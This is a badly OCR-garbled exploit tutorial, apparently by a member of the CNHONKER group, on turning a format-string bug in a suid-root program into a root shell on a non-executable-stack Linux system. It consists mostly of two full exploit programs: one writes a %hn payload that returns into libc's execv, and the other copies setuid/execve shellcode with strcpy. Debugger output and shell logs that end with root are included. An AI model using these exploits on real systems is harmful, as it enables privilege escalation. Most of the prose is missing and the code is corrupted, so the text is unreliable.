CNHONKER.

envp(l);
int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

DESCRIPTION

man page execv execl,execlp
system , :
a) execl,execlp NULL , 0, format string
b) execl,exclp , format string
C) system ? system man page ,system

/bin/sh -c , suid ,bash 2 suid ,
p , /bin/sh -cp . system
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non-exec stack ,
1. execv ,
2. strcpy shellcode
3. , Phrack
, 1,2 , 1 2
vuln
Q) execv
execv
(by $man execv
EXEC(3) Linux Programmer's Manual EXEC(3)
ShellCode NAME
[ execl, execlp, execle, execv, execvp - execute a file
Format SYNOPSIS
String #include <unistd.h>
/
() extern char **environ;
i
. ELF int execl(const char *path, const char *arg, ...);
- int execlp(const char *file, const char *arg, ...);
(1) int execle(const char *path, const char *arg , ..., char * const




execv , execv ,
.dtors , $esp

a) execv libc.so

b)

c)

ab, c :

[bkbli@mobile test]$ objdump -x /lib/i686/libc.s0.6 |grep execv

34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5
00000000 | O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve
420ae650 | F .text 00000067 __execve

420ae9d0 | F .text 000002fc .hidden __GI_execvp

00000000 I d .gnu.warning.fexecve 00000000

420ae650 w F .text 00000067 execve

420ae6c¢0 g F .text 0000004d fexecve

420ae710 g F .text 00000039 execv

420ae9d0 g F .text 000002fc execvp

execv 0x 420ae710

low addr > high addr

[ret addr][arg][arg][XXXXXXXXXXXXXXXXXXXXXXK] :XXXX
leave ret ,esp eip

0x80485c9 <foo+57>: add $0x10,%esp

0x80485cc <foo+60>: leave

0x80485cd <foo+61>: ret

Breakpoint 4, foo (

line=0xbffff6a0 "/* write to foo function return address and esp\n®)
at vuln.c:57

57}

(gdb) i reg eip

eip 0x80485cc 0x80485cc

(gdb) i reg esp

esp Oxbffff680 Oxbffff680

(gdb) ni

0x080485cd in foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:57
57}

(gdb) i reg eip esp

eip 0x80485cd 0x80485cd

esp 0xbffff68c Oxbffff68c

[* leave -eip ,esp+12 */

(gdb) ni

0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44
44 foo (line);

(gdb) i reg eip esp
eip 0x8048583 0x8048583
esp Oxbffff690 Oxbffff690

I* ,eip , ret addr */
/* esp=esp+4; */
, esp=( ret addr) +4,

, ,  €eip )
low addr > high addr
[new function] [arg][arg][arg] [XXXXXXXXXXXXXXXXXXXXXXXXXXXX]
1 $eip 1 $esp
low addr : > high addr
[ret addr][arg][arg][arg][XXXXXXXXXXXXXXXXXXXXX]
T $esp

$esp+4 I* strcpy
*/
execv , execv

:( const char *path, char *const argv[])

[ret addr ] [ret addr+8] [retaddr+8+4]
/bin/sh -ip ,
char *path="/bin/sh",
char argv(] {"/bin/sh","-ip",NULL}
"/bin/sh" :_bin_sh_addr,



"/bin/sh\x00-ip\x00"
"-ip" _ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;
argv
[_bin_sh_addr][_ip_addr][0x00000000]
T argv addr
,  "Ibin/sh\x00-ip\x00"
[_bin_sh addr]Llp_addr][OxOOOOOOOO][somepad] 'lbin/sh\x00-ip\x00"

somepad 0, ) )
/\/\'
arg 2):
_argv_addr=_bin_sh_addr-somepad-4*3
, _bin_sh_addr ,
: )
)
execv
_bin_sh_addr +8
_argv_addr +8+4

_bin_sh_addr O0Oxbffff780, somepad=0, argv addr=0xbffff780-12=0xbffff774

Ox420ae716 Oxbffff780 Oxbffff774

16 :
0x420a<0xbfff<0xe710<0xf774<0xf780
numl num2 num3 num4 num5

(
0x420ae710 Oxbffff780 Oxbffff774
num3 numl1l num5 hum2 num4 num2

. pad ( ):

0x420ae710 Oxbffff780 Oxbffff774
num3 numl1 num5 hum2 num4 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5

numl j ,
numal-j pad+1
num2-num1 pad+3,pad+5
numa3-num2 pad
num4-num3 pad+4
num5-numé4 pad+2

sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%
dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-
num2,pad,num4-num3,pad+4,num5-num4,pad+2);
exploit
/* write to foo function return address and esp
* use execv for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr Oxbfffféac //foo return address

/l#define want_write_addr2 0xbffff684 //esp address

#define pad 12 //pop esp value

#define allstraddr Oxbffff6c0 // string addr:for gdb is Oxbffff6a0,for prog:0xbffffécO
#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.s0.6 |grep execv
#define BUFSIZE 200

char shellcode[]=

"/bin/sh\x00-ip\x00";

char *file="./4";

main(int argc,char **argv)

char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;



int somechar=0;

int want_write_addr2 = want_write_addr+8;
int want_write_addr3 = want_write_addr+8+4;
int argvaddr; //= _bin_shaddr-somechar-4*3;
int _ip_addr; //= _bin_shaddr+strlen("/bin/sh")+1;
int fd;

int num1,num2,num3,num4,numb5;

int _bin_shaddr=0xbffff6b0;

int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;

if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;

argvaddr = _bin_shaddr-somechar-4*3;
_ip_addr = _bin_shaddr+strlen("/bin/sh")+1;

numl=(execv_call_addr >>16) & Oxffff;
num3=(execv_call_addr) & Oxffff;
num2=(_bin_shaddr >>16) & Oxffff;
num4=(argvaddr) & Oxffff;
num5=(_bin_shaddr) & Oxffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%
#\n",num1,num2,num3,num4,num>5);
/lensure num4>num3>num2>num1
fprintf(stderr,”_bin_sh addr:%#x\n",_bin_shaddr);
/li=sprintf(buffer,"%s" ,want_write_addr);

/* pad */

buffer[0]=want_write_addr & Oxff;
buffer[1]=(want_write_addr >> 8 ) & Oxff;
buffer[2]=(want_write_addr >> 16 ) & Oxff;
buffer[3]=(want_write_addr >> 24 ) & Oxff;
llj+=sprintf(buffer+j,"%s",want_write_addr+2);
[* pad+1 */

buffer[4]=((want_write_addr+2)) & Oxff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & Oxff;
buffer[7]=((want_write_addr+2)>>24) & Oxff;

[* pad+2 */

buffer[8]=((want_write_addr2)) & Oxff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & Oxff;
buffer[11]=((want_write_addr2)>>24) & Oxff;

[* pad+3 */

buffer[12]=((want_write_addr2+2)) & Oxff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & Oxff;
buffer[15]=((want_write_addr2+2)>>24) & 0xff;

/* pad+4 */

buffer[16]=((want_write_addr3)) & Oxff;
buffer[17]=((want_write_addr3)>>8) & Oxff;
buffer[18]=((want_write_addr3)>>16) & Oxff;
buffer[19]=((want_write_addr3)>>24) & Oxff;

[* pad+5 */

buffer[20]=((want_write_addr3+2)) & 0xff;
buffer[21]=((want_write_addr3+2)>>8) & Oxff;
buffer[22]=((want_write_addr3+2)>>16) & 0xff;
buffer[23]=((want_write_addr3+2)>>24) & 0xff;

j=8*3;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp% %%
d$hn%%%dp%%%d$hn%%%dp%%%d$hn”,numl-j,pad+1,num2-
num1l,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
[ffprintf(stderr,"j=%d\r\n"j);

/* arg addr */

j++;

buffer[j++]=argvaddr & Oxff;

buffer[j++]=(argvaddr >>8) & Oxff;

buffer[j++]=(argvaddr >>16) & Oxff;

buffer[j++]=(argvaddr >>24) & Oxff;



/I Ibin/sh addr
buffer[j++]=_bin_shaddr & Oxff;
buffer[j++]=(_bin_shaddr >>8) & 0xff;
buffer[j++]=(_bin_shaddr >>16) & 0xff;
buffer[j++]=(_bin_shaddr >>24) & 0xff;
/I _ip_addr addr

buffer[j++]=_ip_addr & Oxff;
buffer[j++]=(_ip_addr >>8) & Oxff;
buffer[j++]=(_ip_addr >>16) & Oxff;
buffer[j++]=(_ip_addr >>24) & Oxff;

/I NULL

buffer[j++]=0;

buffer[j++]=0;

buffer[j++]=0;

buffer[j++]=0;

/I "Ibin/sh" string
j+=sprintf(buffer+j,"/bin/sh");

* %
I* i *

fprintf(stderr,"caculate the distance from buffer+0 to \"/bin/sh\" addr:%d\r\n" j-strlen
("/bin/sh™));
I* */
while(1)

{

if(1%16==0)
printf("\r\n%p: ",buffer+i);

}
printf("%3.2x",bufferfi] & 0xff);
if((buffer[i]=="") && (buffer[i+1]=="b") && (buffer[i+2]=="i"))

printf("\r\nGot it,distance:%d,%s\r\n" i,buffer+i);
break;

}

i++;

}
buffer[j++]=0;
j+=sprintf(buffer+j,"-ip");

if(7>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

[* write to file */
if(fd=open(file,0_CREAT|O_RDWR|O_TRUNC,0777))<0)
{

perror(“write to file error");
exit(0);

}
write(fd,buffer,200);
close(fd);

printf("ok,write down\n");

}

[bkbll@mobile fmtxp_lib]$ gcc -0 x4 x4.c

[bkbll@mobile fmtxp_lib]$ ./x4
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf713,num5:0xf71f
_bin_sh addr:Oxbffff71f

caculate the distance from buffer+0 to "/bin/sh" addr:108

Oxbffffal0: ac f6 ff bf ae 6 ff bf b4 6 ff bf b6 6 ff bf
Oxbffffa20: b8 {6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
Oxbffffa30: 31 33 24 68 6e 2533323234 357025313524
Oxbffffa40: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
Oxbffffa50: 31 32 24 68 6e 25 34 30 39 39 70 25 31 36 24 68
0xbffffa60: 6e 25 31 32 70 25 31 34 24 68 6e 00 13 7 ff bf
Oxbffffa70: 1f f7 ff bf 27 {7 ff bf 00 00 00 00 2f

Got it,distance:108,/bin/sh



ok,write down
[bkbll@mobile fmtxp_lib]$
/bin/sh 108, 108 _bin_sh_addr

[bkbll@mobile fmtxp_lib]$ ./x4 108

num1:0x420a,num2:0xbfff, num3:0xe710,num4:0xf720,num5:0xf72¢c
_bin_sh addr:0xbffff72c

caculate the distance from buffer+0 to "/bin/sh" addr:108

Oxbffffa00: ac 6 ff bf ae 6 ff bf b4 6 ff bf b6 6 ff bf
Oxbffffal0: b8 {6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
Oxbffffa20: 31 33 24 68 6e 25 33 32 32 34 3570 2531 3524
Oxbffffa30: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
Oxbffffa40: 31 32 24 68 6e 25 34 31 31 32 70 25 31 36 24 68
Oxbffffa50: 6e 25 31 32 70 25 31 34 24 68 6e 00 20 f7 ff bf
Oxbffffa60: 2¢ f7 ff bf 34 7 ff bf 00 00 00 00 2f

Got it,distance:108,/bin/sh

ok,write down

[bkbll@mobile fmtxp_lib]$

[bkbll@mobilé fmtxp_lib]$ Is -l vuln
-rwsr-xr-x 1 root root 192836 7 18:31 vuln /* , suid root */
[bkbll@mobile fmtxp_lib]$./vuln 4

/* some extra char */

sh-2.05b# id

uid=500(bkbll) gid=500(bkbll) euid=0(root) groups=500(bkbll)
sh-2.05b#

ok,

2) strcpy
elf DYNAMIC ,
[bkbll@mobile fmtxp_lib]$ objdump -p vuIn

vuln: file format elf32-i386

Program Header:

PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000c0 memsz 0x000000cO flags r-x

INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--

LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000066f memsz 0x0000066f flags r-x

LOAD off 0x00000670 vaddr 0x08049670 paddr 0x08049670 align 2**12
filesz 0x00000114 memsz 0x0000011c flags rw-

DYNAMIC off 0x00000680 vaddr 0x08049680 paddr 0x08049680 align 2**2
filesz 0x000000¢c8 memsz 0x000000c8 flags rw- /* X, */
NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
filesz 0x00000020 memsz 0x00000020 flags r--

Dynamic Section:
NEEDED libc.so0.6
INIT 0x80482f8

FINI 0x80485f4
HASH 0x8048128
STRTAB 0x8048204
SYMTAB 0x8048164
STRSZ 0x6f
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x804975c
PLTRELSZ 0x30
PLTREL 0x11
JMPREL 0x80482c8
REL 0x80482b8
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048288
VERNEEDNUM 0x1
VERSYM 0x8048274



Version References:

required from libc.so.6:
0x0d696911 0x00 03 GLIBC_2.1
0x0d696910 0x00 02 GLIBC_2.0

execv ,

low addr > high addr
[ret addr][ret addr+4][ret addr+8][ret addr+12][XXXXXXXXXXXXXXXXXXXX]
low addr > high addr
[strcpy function addr] [dest addr] [dest addr] [src addr] [XXXXXXXXXXXXXXX]
, dest addr strcpy , dest addr
strcpy ,Src addr  strcpy , dest addr :)
( shellcode addr=0xbffff78c):
strcpy 0x42079da0 [ret addr]
dest addr 0x08049680 [ret addr+4]
dest addr 0x08049680 [ret addr+8]
src addr Oxbffff78c [ret addr+12]

0x0804<0x4207<0x9680<0x9da0<0xbfff<0xf78¢c
numl num2 num3 hum4 num5 num6

16 (%hn ) :
0x42079da0 0x08049680 0x08049680 0xbffff78c
num4 num2 num3 huml num3 numl num6 num>5
pad pad+1 pad+2 pad+3 pad+4 pad+5 pad+6 pad+7

sprintf(buffer,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp% %% d$hn%%%
d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%ds$hn",num1-
j,pad+3,pad+5,num2-num1,pad+1,num3-numz2,pad+2,pad+4,num4-num3,pad,num5-
num4,pad+7,num6-num5,pad+6);

buffer .

exploit :

/* write to foo function return address and esp
* use strepy for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr Oxbfffféac //foo return address:for gdb is Oxbffff68c,for
prog=0xbfffféac;

/l#define want_write_addr2 0xbffff684 //esp address

#define pad 12 //pop esp value

#define allstraddr Oxbffff6c0 // string addr:for gdb is Oxbffff6a0,for prog:0xbffffécO
#define dynamic_addr 0x08049680 //objdump -p ./vuln |grep DYNAMIC

#define strcpy_addr 0x42079da0 //$ objdump -x /lib/i686/libc.s0.6 |grep strcpy

#define BUFSIZE 200

char shellcode[]=

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xf\xf\xff/bin/sh";

char *file="./5";
main(int argc,char **argv)

{

char buffer[BUFSIZE];

int j=0,i=0;

int shell_addr_pad=80;

int somechar=0;

int want_write_addr2 = want_write_addr+4;

int want_write_addr3 = want_write_addr+4+4,
int want_write_addr4 = want_write_addr+4+4+4;



int fd;

int num1,num2,num3,num4,num5,nume;
int _bin_shaddr=0xbffff6b0;

int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;

if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;

numl=(dynamic_addr >>16) & Oxffff;

num3=(dynamic_addr) & Oxffff;

num2=(strcpy_addr >>16) & Oxffff;

num4=(strcpy_addr) & Oxffff;

num6=(_bin_shaddr) & Oxffff;

num5=(_bin_shaddr >>16) & Oxffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x,num6:%
#\n",;num1,num2,num3,num4,num5,nume6);

fprintf(stderr,"shellcode addr:%#x\n",_bin_shaddr);
/* pad */

buffer[0]=want_write_addr & Oxff;
buffer[1]=(want_write_addr >> 8 ) & Oxff;
buffer[2]=(want_write_addr >> 16 ) & Oxff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
llj+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1 */

buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & Oxff;
buffer[6]=((want_write_addr+2)>>16) & Oxff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;

[* pad+2 */

buffer[8]=((want_write_addr2)) & Oxff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & Oxff;
buffer[11]=((want_write_addr2)>>24) & Oxff;

[* pad+3 */

buffer[12]=((want_write_addr2+2)) & Oxff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & 0xff;
buffer[15]=((want_write_addr2+2)>>24) & Oxff;

[* pad+4 */

buffer[16]=((want_write_addr3)) & Oxff;
buffer[17]=((want_write_addr3)>>8) & Oxff;
buffer[18]=((want_write_addr3)>>16) & Oxff;
buffer[19]=((want_write_addr3)>>24) & Oxff;

/* pad+5 */

buffer[20]=((want_write_addr3+2)) & Oxff;
buffer[21]=((want_write_addr3+2)>>8) & Oxff;
buffer[22]=((want_write_addr3+2)>>16) & Oxff;
buffer[23]=((want_write_addr3+2)>>24) & Oxff;

[* pad+6 */

buffer[24]=((want_write_addr4)) & Oxff;
buffer[25]=((want_write_addr4)>>8) & Oxff;
buffer[26]=((want_write_addr4)>>16) & 0xff;
buffer[27]=((want_write_addr4)>>24) & 0xff;

[* pad+7 */

buffer[28]=((want_write_addr4+2)) & Oxff;
buffer[29]=((want_write_addr4+2)>>8) & Oxff;
buffer[30]=((want_write_addr4+2)>>16) & Oxff;
buffer[31]=((want_write_addr4+2)>>24) & Oxff;

j=4+8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%
d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%ds$hn”,
numl-j,pad+3,pad+5,num2-numl,pad+1,num3-num2,pad+2,pad+4,num4-
num3,pad,num5-num4,pad+7,num6-num5,pad+6);

j++;

j+=sprintf(buffer+j,"%s",shellcode);



while(1)

if(1%16==0)
{
printf("\r\n%p: ",buffer-+i);

}

printf("%3.2x",buffer[i] & 0xff);

/lbreak;

if((buffer[i]=="\x31") && (buffer[i+1]=="xdb") && (buffer[i+2]=="\x89"))

{

printf("\r\nGot it,distance:%d\r\n",i);
break;

}

++;

}

buffer[j++]=0;
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

/* write to file */
if((fd=open(file,0_CREAT|O_RDWR|O_TRUNC,0777))<0)
{

perror(“write to file error");
exit(0);

write(fd,buffer,200);
close(fd);
printf("ok,write down\n");

}

[bkbll@mobile fmtxp_lib]$ gcc -0 x5 x5.¢

[bkbli@mobile fmtxp_lib]$ ./x5
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff, num6:0xf7 1f
shellcode addr:0xbffff71f

Oxbffffal0: ac f6 ff bf ae 6 ff bf b0 6 ff bf b2 6 ff bf
Oxbffffa20: b4 {6 ff bf b6 f6 ff bf b8 6 ff bf ba 6 ff bf
Oxbffffa30: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
Oxbffffa40: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
Oxbffffa50: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
Oxbffffa60: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
Oxbffffa70: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 31 32
Oxbffffa80: 70 25 31 38 24 68 6e 00 31

Got it,distance:120

ok,write down

[* 120 */

[bkbll@mobile fmtxp_lib]$ ./x5 120
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff, num6:0xf738
shellcode addr:0xbffff738

0Oxbffffa00: ac f6 ff bf ae 6 ff bf b0 6 ff bf b2 6 ff bf
Oxbffffal0: b4 6 ff bf b6 {6 ff bf b8 6 ff bf ba f6 ff bf
Oxbffffa20: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
Oxbffffa30: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
Oxbffffa40: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
Oxbffffa50: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
Oxbffffa60: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 33 37
Oxbffffa70: 70 25 31 38 24 68 6e 00 31

Got it,distance:120

ok,write down

[bkbll@mobile fmtxp_lib]$

[bkbll@m.obile fmtxp_lib]$./vuln 5
/* some extra codes */
sh-2.05b# id

uid=0(root) gid=500(bkbll) groups=500(bkbll)
sh-2.05b#



, , non-exec stack system

: )
Coded by :bkbll(bkbli@cnhonker.net)
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